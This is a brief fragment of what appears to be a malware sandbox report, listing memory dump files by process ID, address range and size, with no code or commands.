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memory/1356-12-0x0000000004AB0000-0x0000000004E56000-memory.dmpFilesize
3.6MB
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memory/1356-13-0x0000000004E60000-0x0000000004E71000-memory.dmpFilesize
68KB
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memory/1704-0-0x0000000004940000-0x0000000004CE6000-memory.dmpFilesize
3.6MB
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memory/1704-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1704-1-0x0000000004CF0000-0x0000000004D01000-memory.dmpFilesize
68KB
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memory/1940-7-0x0000000000000000-mapping.dmp